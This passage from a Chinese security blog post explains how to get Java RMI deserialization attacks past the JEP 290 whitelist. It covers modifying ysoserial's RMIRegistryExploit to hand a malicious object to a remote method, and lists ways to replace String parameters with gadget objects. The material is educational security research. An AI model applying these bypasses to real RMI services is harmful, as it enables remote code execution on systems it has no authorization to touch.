       }
   }

白名单如下:

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

起一个正常的rmi服务端,方法接收参数为对象,然后使用ysoserial去打,注意切换版本

image-20211110104345194

image-20211110104418684

直接被check了,服务端也会提示相应信息

Attack to bypass

参数为object

使用上面的客户端共计服务端的代码也可以绕过的,这是因为直接传入了恶意对象

或者下载yso源码,并修改ysoserial/exploit/RMIRegistryExploit#exploit(),记得copy接口

com.yq1ng.ClientAttackServer.server.Hello hello = (com.yq1ng.ClientAttackServer.server.Hello) registry.lookup("hello");
hello.sayHello(remote);

image-20211110125106910

image-20211110125137468

正常起一个服务端

image-20211110154413773

image-20211110125214285

运行ysoserial/exploit/RMIRegistryExploit#main(),虽然报错,但是成功执行了

image-20211110125321988

为什么可以绕过呢?原来yso的代码是在bind()的时候触发的,我们知道在bind()的时候会有反序列化的操作,这时候jep290就会发挥作用,check恶意代码。而修改后的代码获取远程对象后直接传入了一个恶意对象,这就不会被check。当然,这只是少数情况,实战一般不会给object让你传

参数为String

这个就略微麻烦了,但是由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从Object类派生的参数(例如String)有几种方法:

  1. 将java.rmi软件包的代码复制到新软件包,然后在其中更改代码
  2. 将调试器附加到正在运行的客户端,并在序列化对象之前替换对象
  3. 使用Javassist之类的工具更改字节码
  4. 通过实现代理来替换网络流上已经序列化的对象

afanti师傅是通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。下载代码后运行

image-20211110165117856

image-20211110165150522

参考

Java 反序列化漏洞(1) – Java RMI 原理/流程

Java安全漫谈 - 06.RMI篇(3)

从懵逼到恍然大悟之Java中RMI的使用


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
Java反序列化漏洞(二)--ClassLoader(类加载器) Java反序列化漏洞(二)--ClassLoader(类加载器)
章首发于奇安信攻防社区:https://forum.butian.net/share/842 原谅我的渣英语,命名都是随便的 本篇所有代码及工具均已上传至gayhub:https://github.com/yq1ng/Java [T
2021-06-12
下一篇 
CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析 CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp协议 任意文件读取/JSP文件包含漏洞分析
前言 你需要了解ajp的基本概念 AJP协议是定向包(面向包)协议,采用二进制形式代替文本形式,以提高性能。可以说是http协议的二进制版本,正因如此浏览器不能直接与ajp通信,需要一些工具才行,后面已经放出。 Tomcat通常有两个Con
2021-05-19
  目录